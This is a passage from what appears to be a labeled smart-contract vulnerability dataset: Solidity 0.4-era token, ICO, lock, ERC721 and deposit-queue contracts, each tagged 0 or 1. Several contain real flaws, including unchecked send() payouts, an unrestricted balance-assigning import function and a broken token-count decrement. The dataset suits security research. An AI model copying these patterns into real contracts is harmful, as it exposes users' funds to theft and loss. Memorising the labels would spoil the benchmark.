function setSiftContractAddress(address _siftContractAddress) adminOnly {
if (siftContractDefined)
throw;
smartInvestmentFundToken = SmartInvestmentFundToken(_siftContractAddress);
if (smartInvestmentFundToken.contractVersion() != 500201707171440)
throw;
siftContractDefined = true;
}
function contractVersion() constant returns(uint256) {
return 300201707171440;
}
function close() adminOnly onlyDuringIco {
if (now <= icoEndTime)
throw;
icoPhase = false;
IcoClosed();
if (!msg.sender.send(this.balance))
throw;
}
function () onlyDuringIco payable {
if (now < icoStartTime || now > icoEndTime)
throw;
uint256 tokensPurchased = msg.value / icoUnitPrice;
uint256 purchaseTotalPrice = tokensPurchased * icoUnitPrice;
uint256 change = msg.value.sub(purchaseTotalPrice);
if (tokensPurchased > 0)
smartInvestmentFundToken.mintTokens(msg.sender, tokensPurchased);
if (change > 0 && !msg.sender.send(change))
throw;
}
function abandon(string details) adminOnly onlyDuringIco {
if (now <= icoEndTime)
throw;
if (icoAbandoned)
throw;
uint256 paymentPerShare = this.balance / smartInvestmentFundToken.totalSupply();
uint numberTokenHolders = smartInvestmentFundToken.tokenHolderCount();
uint256 totalAbandoned = 0;
for (uint256 i = 0; i < numberTokenHolders; i++) {
address addr = smartInvestmentFundToken.tokenHolder(i);
uint256 etherToSend = paymentPerShare * smartInvestmentFundToken.balanceOf(addr);
if (etherToSend < 1)
continue;
abandonedIcoBalances[addr] = abandonedIcoBalances[addr].add(etherToSend);
totalAbandoned = totalAbandoned.add(etherToSend);
}
icoAbandoned = true;
IcoAbandoned(details);
uint256 remainder = this.balance.sub(totalAbandoned);
if (remainder > 0)
if (!msg.sender.send(remainder))
abandonedIcoBalances[msg.sender] = abandonedIcoBalances[msg.sender].add(remainder);
}
function abandonedFundWithdrawal() {
if (!icoAbandoned || abandonedIcoBalances[msg.sender] == 0)
throw;
uint256 funds = abandonedIcoBalances[msg.sender];
abandonedIcoBalances[msg.sender] = 0;
if (!msg.sender.send(funds))
throw;
}
}
contract SmartInvestmentFundToken {
using SafeMath for uint256;
mapping (address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
address[] allTokenHolders;
string public name;
string public symbol;
uint8 public decimals;
uint256 totalSupplyAmount = 0;
address public icoContractAddress;
bool public isClosed;
IcoPhaseManagement icoPhaseManagement;
AuthenticationManager authenticationManager;
event FundClosed();
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function SmartInvestmentFundToken(address _icoContractAddress, address _authenticationManagerAddress) {
name = "Smart Investment Fund Token";
symbol = "SIFT";
decimals = 0;
icoPhaseManagement = IcoPhaseManagement(_icoContractAddress);
if (icoPhaseManagement.contractVersion() != 300201707171440)
throw;
authenticationManager = AuthenticationManager(_authenticationManagerAddress);
if (authenticationManager.contractVersion() != 100201707171503)
throw;
icoContractAddress = _icoContractAddress;
}
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
modifier accountReaderOnly {
if (!authenticationManager.isCurrentAccountReader(msg.sender)) throw;
_;
}
modifier fundSendablePhase {
if (icoPhaseManagement.icoPhase())
throw;
if (icoPhaseManagement.icoAbandoned())
throw;
_;
}
function contractVersion() constant returns(uint256) {
return 500201707171440;
}
function transferFrom(address _from, address _to, uint256 _amount) fundSendablePhase onlyPayloadSize(3) returns (bool) {
if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to].add(_amount) > balances[_to]) {
bool isNew = balances[_to] == 0;
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
if (isNew)
tokenOwnerAdd(_to);
if (balances[_from] == 0)
tokenOwnerRemove(_from);
Transfer(_from, _to, _amount);
return true;
}
return false;
}
function tokenHolderCount() accountReaderOnly constant returns (uint256) {
return allTokenHolders.length;
}
function tokenHolder(uint256 _index) accountReaderOnly constant returns (address) {
return allTokenHolders[_index];
}
function approve(address _spender, uint256 _amount) fundSendablePhase onlyPayloadSize(2) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function totalSupply() constant returns (uint256) {
return totalSupplyAmount;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) fundSendablePhase onlyPayloadSize(2) returns (bool) {
if (balances[msg.sender] < _amount || balances[_to].add(_amount) < balances[_to])
return false;
bool isRecipientNew = balances[_to] < 1;
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
if (isRecipientNew)
tokenOwnerAdd(_to);
if (balances[msg.sender] < 1)
tokenOwnerRemove(msg.sender);
Transfer(msg.sender, _to, _amount);
return true;
}
function tokenOwnerAdd(address _addr) internal {
uint256 tokenHolderCount = allTokenHolders.length;
for (uint256 i = 0; i < tokenHolderCount; i++)
if (allTokenHolders[i] == _addr)
return;
allTokenHolders.length++;
allTokenHolders[allTokenHolders.length - 1] = _addr;
}
function tokenOwnerRemove(address _addr) internal {
uint256 tokenHolderCount = allTokenHolders.length;
uint256 foundIndex = 0;
bool found = false;
uint256 i;
for (i = 0; i < tokenHolderCount; i++)
if (allTokenHolders[i] == _addr) {
foundIndex = i;
found = true;
break;
}
if (!found)
return;
for (i = foundIndex; i < tokenHolderCount - 1; i++)
allTokenHolders[i] = allTokenHolders[i + 1];
allTokenHolders.length--;
}
function mintTokens(address _address, uint256 _amount) onlyPayloadSize(2) {
if (msg.sender != icoContractAddress || !icoPhaseManagement.icoPhase())
throw;
bool isNew = balances[_address] == 0;
totalSupplyAmount = totalSupplyAmount.add(_amount);
balances[_address] = balances[_address].add(_amount);
if (isNew)
tokenOwnerAdd(_address);
Transfer(0, _address, _amount);
}
}
contract TokenHolderSnapshotter {
using SafeMath for uint256;
mapping (address => uint256) balances;
SmartInvestmentFundToken siftContract;
AuthenticationManager authenticationManager;
address[] allTokenHolders;
event SnapshotTaken();
event SnapshotUpdated(address holder, uint256 oldBalance, uint256 newBalance, string details);
modifier adminOnly {
if (!authenticationManager.isCurrentAdmin(msg.sender)) throw;
_;
}
modifier accountReaderOnly {
if (!authenticationManager.isCurrentAccountReader(msg.sender)) throw;
_;
}
function TokenHolderSnapshotter(address _siftContractAddress, address _authenticationManagerAddress) {
siftContract = SmartInvestmentFundToken(_siftContractAddress);
if (siftContract.contractVersion() != 500201707171440)
throw;
authenticationManager = AuthenticationManager(_authenticationManagerAddress);
if (authenticationManager.contractVersion() != 100201707171503)
throw;
}
function contractVersion() constant returns(uint256) {
return 700201709192119;
}
function snapshot() adminOnly {
uint256 i;
for (i = 0; i < allTokenHolders.length; i++)
balances[allTokenHolders[i]] = 0;
allTokenHolders.length = siftContract.tokenHolderCount();
for (i = 0; i < allTokenHolders.length; i++) {
address addr = siftContract.tokenHolder(i);
allTokenHolders[i] = addr;
balances[addr] = siftContract.balanceOf(addr);
}
SnapshotTaken();
}
function snapshotUpdate(address _addr, uint256 _newBalance, string _details) adminOnly {
uint256 existingBalance = balances[_addr];
if (existingBalance == _newBalance)
return;
if (existingBalance == 0) {
allTokenHolders.length++;
allTokenHolders[allTokenHolders.length - 1] = _addr;
balances[_addr] = _newBalance;
}
else if (_newBalance > 0) {
balances[_addr] = _newBalance;
} else {
balances[_addr] = 0;
uint256 tokenHolderCount = allTokenHolders.length;
uint256 foundIndex = 0;
bool found = false;
uint256 i;
for (i = 0; i < tokenHolderCount; i++)
if (allTokenHolders[i] == _addr) {
foundIndex = i;
found = true;
break;
}
if (found) {
for (i = foundIndex; i < tokenHolderCount - 1; i++)
allTokenHolders[i] = allTokenHolders[i + 1];
allTokenHolders.length--;
}
}
SnapshotUpdated(_addr, existingBalance, _newBalance, _details);
}
function balanceOf(address addr) accountReaderOnly constant returns (uint256) {
return balances[addr];
}
function tokenHolderCount() accountReaderOnly constant returns (uint256) {
return allTokenHolders.length;
}
function tokenHolder(uint256 _index) accountReaderOnly constant returns (address) {
return allTokenHolders[_index];
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 29289600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x610633D828e1B6F50D3b2a16C707426428e50FFA;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.25;
contract Multiplier3 {
address constant private TECH = 0x2392169A23B989C053ECED808E4899c65473E4af;
address constant private PROMO_AND_PRIZE = 0xdA149b17C154e964456553C749B7B4998c152c9E;
uint constant public TECH_PERCENT = 1;
uint constant public PROMO_AND_PRIZE_PERCENT = 6;
uint constant public MAX_INVESTMENT = 10 ether;
uint constant public MULTIPLIER = 117;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
function () public payable {
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= MAX_INVESTMENT);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
uint adv = msg.value*PROMO_AND_PRIZE_PERCENT/100;
PROMO_AND_PRIZE.send(adv);
uint support = msg.value*TECH_PERCENT/100;
TECH.send(support);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=currentReceiverIndex; i<queue.length; i++){
Deposit storage dep = queue[i];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[i];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex = i;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC721 {
function approve(address _to, uint256 _tokenID) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenID) public view returns (address addr);
function takeOwnership(uint256 _tokenID) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenID) public;
function transfer(address _to, uint256 _tokenID) public;
event Transfer(address indexed from, address indexed to, uint256 tokenID);
event Approval(address indexed owner, address indexed approved, uint256 tokenID);
function name() public pure returns (string);
function symbol() public pure returns (string);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Manageable is Ownable {
address public manager;
bool public contractLock;
event ManagerTransferred(address indexed previousManager, address indexed newManager);
event ContractLockChanged(address admin, bool state);
function Manageable() public {
manager = msg.sender;
contractLock = false;
}
modifier onlyManager() {
require(msg.sender == manager);
_;
}
modifier onlyAdmin() {
require((msg.sender == manager) || (msg.sender == owner));
_;
}
modifier isUnlocked() {
require(!contractLock);
_;
}
function transferManager(address newManager) public onlyAdmin {
require(newManager != address(0));
ManagerTransferred(manager, newManager);
manager = newManager;
}
function setContractLock(bool setting) public onlyAdmin {
contractLock = setting;
ContractLockChanged(msg.sender, setting);
}
function payout(address _to) public onlyOwner {
if (_to == address(0)) {
owner.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
function withdrawFunds(address _to, uint256 amount) public onlyOwner {
require(this.balance >= amount);
if (_to == address(0)) {
owner.transfer(amount);
} else {
_to.transfer(amount);
}
}
}
contract TokenLayer is ERC721, Manageable {
using SafeMath for uint256;
event TokenCreated(uint256 tokenId, bytes32 name, uint256 parentId, address owner);
event TokenDeleted(uint256 tokenId);
event TokenSold(
uint256 tokenId, uint256 oldPrice,
uint256 newPrice, address prevOwner,
address winner, bytes32 name,
uint256 parentId
);
event PriceChanged(uint256 tokenId, uint256 oldPrice, uint256 newPrice);
event ParentChanged(uint256 tokenId, uint256 oldParentId, uint256 newParentId);
event NameChanged(uint256 tokenId, bytes32 oldName, bytes32 newName);
event MetaDataChanged(uint256 tokenId, bytes32 oldMeta, bytes32 newMeta);
uint256 private constant DEFAULTPARENT = 123456789;
mapping (uint256 => Token) private tokenIndexToToken;
mapping (address => uint256) private ownershipTokenCount;
address public gameAddress;
address public parentAddr;
uint256 private totalTokens;
uint256 public devFee = 50;
uint256 public ownerFee = 200;
uint256[10] private chainFees = [10];
struct Token {
bool exists;
address approved;
address owner;
bytes32 metadata;
bytes32 name;
uint256 lastBlock;
uint256 parentId;
uint256 price;
}
modifier onlySystem() {
require((msg.sender == gameAddress) || (msg.sender == manager));
_;
}
function TokenLayer(address _gameAddress, address _parentAddr) public {
gameAddress = _gameAddress;
parentAddr = _parentAddr;
}
function implementsERC721() public pure returns (bool) {
return true;
}
function name() public pure returns (string) {
return "CryptoJintori";
}
function symbol() public pure returns (string) {
return "RegionToken";
}
function approve(address _to, uint256 _tokenId, address _from) public onlySystem {
_approve(_to, _tokenId, _from);
}
function approve(address _to, uint256 _tokenId) public isUnlocked {
_approve(_to, _tokenId, msg.sender);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
function bundleToken(uint256 _tokenId) public view returns(uint256[8] _tokenData) {
Token storage token = tokenIndexToToken[_tokenId];
uint256[8] memory tokenData;
tokenData[0] = uint256(token.name);
tokenData[1] = token.parentId;
tokenData[2] = token.price;
tokenData[3] = uint256(token.owner);
tokenData[4] = _getNextPrice(_tokenId);
tokenData[5] = devFee+getChainFees(_tokenId);
tokenData[6] = uint256(token.approved);
tokenData[7] = uint256(token.metadata);
return tokenData;
}
function takeOwnership(uint256 _tokenId, address _to) public onlySystem {
_takeOwnership(_tokenId, _to);
}
function takeOwnership(uint256 _tokenId) public isUnlocked {
_takeOwnership(_tokenId, msg.sender);
}
function tokensOfOwner(address _owner) public view returns (uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 _totalTokens = totalSupply();
uint256 resultIndex = 0;
uint256 tokenId = 0;
uint256 tokenIndex = 0;
while (tokenIndex <= _totalTokens) {
if (exists(tokenId)) {
tokenIndex++;
if (tokenIndexToToken[tokenId].owner == _owner) {
result[resultIndex] = tokenId;
resultIndex++;
}
}
tokenId++;
}
return result;
}
}
function totalSupply() public view returns (uint256 total) {
return totalTokens;
}
function transfer(address _to, address _from, uint256 _tokenId) public onlySystem {
_checkThenTransfer(_from, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) public isUnlocked {
_checkThenTransfer(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public onlySystem {
_transferFrom(_from, _to, _tokenId);
}
function transferFrom(address _from, uint256 _tokenId) public isUnlocked {
_transferFrom(_from, msg.sender, _tokenId);
}
function createToken(
uint256 _tokenId, address _owner,
bytes32 _name, uint256 _parentId,
uint256 _price, bytes32 _metadata
) public onlyAdmin {
require(_price > 0);
require(_addressNotNull(_owner));
require(_tokenId == uint256(uint32(_tokenId)));
require(!exists(_tokenId));
totalTokens++;
Token memory _token = Token({
name: _name,
parentId: _parentId,
exists: true,
price: _price,
owner: _owner,
approved : 0,
lastBlock : block.number,
metadata : _metadata
});
tokenIndexToToken[_tokenId] = _token;
TokenCreated(_tokenId, _name, _parentId, _owner);
_transfer(address(0), _owner, _tokenId);
}
function createTokens(
uint256[] _tokenIds, address[] _owners,
bytes32[] _names, uint256[] _parentIds,
uint256[] _prices, bytes32[] _metadatas
) public onlyAdmin {
for (uint256 id = 0; id < _tokenIds.length; id++) {
createToken(
_tokenIds[id], _owners[id], _names[id],
_parentIds[id], _prices[id], _metadatas[id]
);
}
}
function deleteToken(uint256 _tokenId) public onlyAdmin {
require(_tokenId == uint256(uint32(_tokenId)));
require(exists(_tokenId));
totalTokens--;
address oldOwner = tokenIndexToToken[_tokenId].owner;
ownershipTokenCount[oldOwner] = ownershipTokenCount[oldOwner]--;
delete tokenIndexToToken[_tokenId];
TokenDeleted(_tokenId);
}
function incrementPrice(uint256 _tokenId, address _to) public onlySystem {
require(exists(_tokenId));
uint256 _price = tokenIndexToToken[_tokenId].price;
address _owner = tokenIndexToToken[_tokenId].owner;
uint256 _totalFees = getChainFees(_tokenId);
tokenIndexToToken[_tokenId].price = _price.mul(1000+ownerFee).div(1000-(devFee+_totalFees));
TokenSold(
_tokenId, _price, tokenIndexToToken[_tokenId].price,
_owner, _to, tokenIndexToToken[_tokenId].name,
tokenIndexToToken[_tokenId].parentId
);
}
function ownerOf(uint256 _tokenId) public view returns (address _owner) {
require(exists(_tokenId));
_owner = tokenIndexToToken[_tokenId].owner;
}
function blocked(uint256 _tokenId) public view returns (bool _blocked) {
return (tokenIndexToToken[_tokenId].lastBlock == block.number);
}
function exists(uint256 _tokenId) public view returns(bool) {
return (tokenIndexToToken[_tokenId].exists);
}
function setLayerParent(address _parent) public onlyAdmin {
parentAddr = _parent;
}
function setGame(address _gameAddress) public onlyAdmin {
gameAddress = _gameAddress;
}
function setPrice(uint256 _tokenId, uint256 _price, address _owner) public onlySystem {
require(_owns(_owner, _tokenId));
uint256 oldPrice = tokenIndexToToken[_tokenId].price;
tokenIndexToToken[_tokenId].price = _price;
PriceChanged(_tokenId, oldPrice, _price);
}
function setParent(uint256 _tokenId, uint256 _parentId) public onlyAdmin {
require(exists(_tokenId));
uint256 oldParentId = tokenIndexToToken[_tokenId].parentId;
tokenIndexToToken[_tokenId].parentId = _parentId;
ParentChanged(_tokenId, oldParentId, _parentId);
}
function setName(uint256 _tokenId, bytes32 _name) public onlyAdmin {
require(exists(_tokenId));
bytes32 oldName = tokenIndexToToken[_tokenId].name;
tokenIndexToToken[_tokenId].name = _name;
NameChanged(_tokenId, oldName, _name);
}
function setMetadata(uint256 _tokenId, bytes32 _metadata) public onlyAdmin {
require(exists(_tokenId));
bytes32 oldMeta = tokenIndexToToken[_tokenId].metadata;
tokenIndexToToken[_tokenId].metadata = _metadata;
MetaDataChanged(_tokenId, oldMeta, _metadata);
}
function setDevFee(uint256 _devFee) public onlyAdmin {
devFee = _devFee;
}
function setOwnerFee(uint256 _ownerFee) public onlyAdmin {
ownerFee = _ownerFee;
}
function setChainFees(uint256[10] _chainFees) public onlyAdmin {
chainFees = _chainFees;
}
function getToken(uint256 _tokenId) public view returns
(
bytes32 tokenName, uint256 parentId, uint256 price,
address _owner, uint256 nextPrice, uint256 nextPriceFees,
address approved, bytes32 metadata
) {
Token storage token = tokenIndexToToken[_tokenId];
tokenName = token.name;
parentId = token.parentId;
price = token.price;
_owner = token.owner;
nextPrice = _getNextPrice(_tokenId);
nextPriceFees = devFee+getChainFees(_tokenId);
metadata = token.metadata;
approved = token.approved;
}
function getChainFees(uint256 _tokenId) public view returns (uint256 _total) {
uint256 chainLength = _getChainLength(_tokenId);
uint256 totalFee = 0;
for (uint id = 0; id < chainLength; id++) {
totalFee = totalFee + chainFees[id];
}
return(totalFee);
}
function getChainFeeArray() public view returns (uint256[10] memory _chainFees) {
return(chainFees);
}
function getPriceOf(uint256 _tokenId) public view returns (uint256 price) {
require(exists(_tokenId));
return tokenIndexToToken[_tokenId].price;
}
function getParentOf(uint256 _tokenId) public view returns (uint256 parentId) {
require(exists(_tokenId));
return tokenIndexToToken[_tokenId].parentId;
}
function getMetadataOf(uint256 _tokenId) public view returns (bytes32 metadata) {
require(exists(_tokenId));
return (tokenIndexToToken[_tokenId].metadata);
}
function getChain(uint256 _tokenId) public view returns (address[10] memory _owners) {
require(exists(_tokenId));
uint256 _parentId = getParentOf(_tokenId);
address _parentAddr = parentAddr;
address[10] memory result;
if (_parentId != DEFAULTPARENT && _addressNotNull(_parentAddr)) {
uint256 resultIndex = 0;
TokenLayer layer = TokenLayer(_parentAddr);
bool parentExists = layer.exists(_parentId);
while ((_parentId != DEFAULTPARENT) && _addressNotNull(_parentAddr) && parentExists) {
parentExists = layer.exists(_parentId);
if (!parentExists) {
return(result);
}
result[resultIndex] = layer.ownerOf(_parentId);
resultIndex++;
_parentId = layer.getParentOf(_parentId);
_parentAddr = layer.parentAddr();
layer = TokenLayer(_parentAddr);
}
return(result);
}
}
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return (tokenIndexToToken[_tokenId].approved == _to);
}
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == tokenIndexToToken[_tokenId].owner;
}
function _checkThenTransfer(address _from, address _to, uint256 _tokenId) private {
require(_owns(_from, _tokenId));
require(_addressNotNull(_to));
require(exists(_tokenId));
_transfer(_from, _to, _tokenId);
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
ownershipTokenCount[_to]++;
tokenIndexToToken[_tokenId].owner = _to;
tokenIndexToToken[_tokenId].lastBlock = block.number;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
tokenIndexToToken[_tokenId].approved = 0;
}
Transfer(_from, _to, _tokenId);
}
function _approve(address _to, uint256 _tokenId, address _from) private {
require(_owns(_from, _tokenId));
tokenIndexToToken[_tokenId].approved = _to;
Approval(_from, _to, _tokenId);
}
function _takeOwnership(uint256 _tokenId, address _to) private {
address newOwner = _to;
address oldOwner = tokenIndexToToken[_tokenId].owner;
require(_addressNotNull(newOwner));
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
function _transferFrom(address _from, address _to, uint256 _tokenId) private {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
function _getChainLength(uint256 _tokenId) private view returns (uint256 _length) {
uint256 length;
uint256 _parentId = getParentOf(_tokenId);
address _parentAddr = parentAddr;
if (_parentId == DEFAULTPARENT || !_addressNotNull(_parentAddr)) {
return 0;
}
TokenLayer layer = TokenLayer(_parentAddr);
bool parentExists = layer.exists(_parentId);
while ((_parentId != DEFAULTPARENT) && _addressNotNull(_parentAddr) && parentExists) {
parentExists = layer.exists(_parentId);
if(!parentExists) {
return(length);
}
_parentId = layer.getParentOf(_parentId);
_parentAddr = layer.parentAddr();
layer = TokenLayer(_parentAddr);
length++;
}
return(length);
}
function _getNextPrice(uint256 _tokenId) private view returns (uint256 _nextPrice) {
uint256 _price = tokenIndexToToken[_tokenId].price;
uint256 _totalFees = getChainFees(_tokenId);
_price = _price.mul(1000+ownerFee).div(1000-(devFee+_totalFees));
return(_price);
}
} | 0 |
pragma solidity ^0.4.10;
contract timereum {
string public name;
string public symbol;
uint8 public decimals;
uint256 public maxRewardUnitsAvailable;
uint256 public startTime;
uint256 public initialSupplyPerChildAddress;
uint256 public numImports;
uint256 public maxImports;
mapping (address => uint256) public balanceOf;
mapping (address => bool) public parentAddress;
mapping (address => address) public returnChildAddressForParent;
mapping (address => uint256) public numRewardsUsed;
event Transfer(address indexed from, address indexed to, uint256 value);
event addressesImported(address importedFrom,uint256 numPairsImported,uint256 numImported);
function timereum() {
name = "timereum";
symbol = "TME";
decimals = 18;
initialSupplyPerChildAddress = 1000000000000000000;
maxRewardUnitsAvailable=10;
startTime=1500307354;
maxImports=107;
}
function transfer(address _to, uint256 _value) {
if (balanceOf[msg.sender] < _value) revert();
if (balanceOf[_to] + _value < balanceOf[_to]) revert();
if (parentAddress[_to]) {
if (msg.sender==returnChildAddressForParent[_to]) {
if (numRewardsUsed[msg.sender]<maxRewardUnitsAvailable) {
uint256 currDate=block.timestamp;
uint256 returnMaxPerBatchGenerated=5000000000000000000000;
uint256 deployTime=10*365*86400;
uint256 secondsSinceStartTime=currDate-startTime;
uint256 maximizationTime=deployTime+startTime;
uint256 coinsPerBatchGenerated;
if (currDate>=maximizationTime) {
coinsPerBatchGenerated=returnMaxPerBatchGenerated;
} else {
uint256 b=(returnMaxPerBatchGenerated/4);
uint256 m=(returnMaxPerBatchGenerated-b)/deployTime;
coinsPerBatchGenerated=secondsSinceStartTime*m+b;
}
numRewardsUsed[msg.sender]+=1;
balanceOf[msg.sender]+=coinsPerBatchGenerated;
}
}
}
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function importAddresses(address[] parentsArray,address[] childrenArray) {
if (numImports<maxImports) {
numImports++;
addressesImported(msg.sender,childrenArray.length,numImports);
balanceOf[0x000000000000000000000000000000000000dEaD]=numImports*initialSupplyPerChildAddress;
for (uint i=0;i<childrenArray.length;i++) {
address child=childrenArray[i];
address parent=parentsArray[i];
parentAddress[parent]=true;
returnChildAddressForParent[parent]=child;
balanceOf[child]=initialSupplyPerChildAddress;
}
}
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
} | 1 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
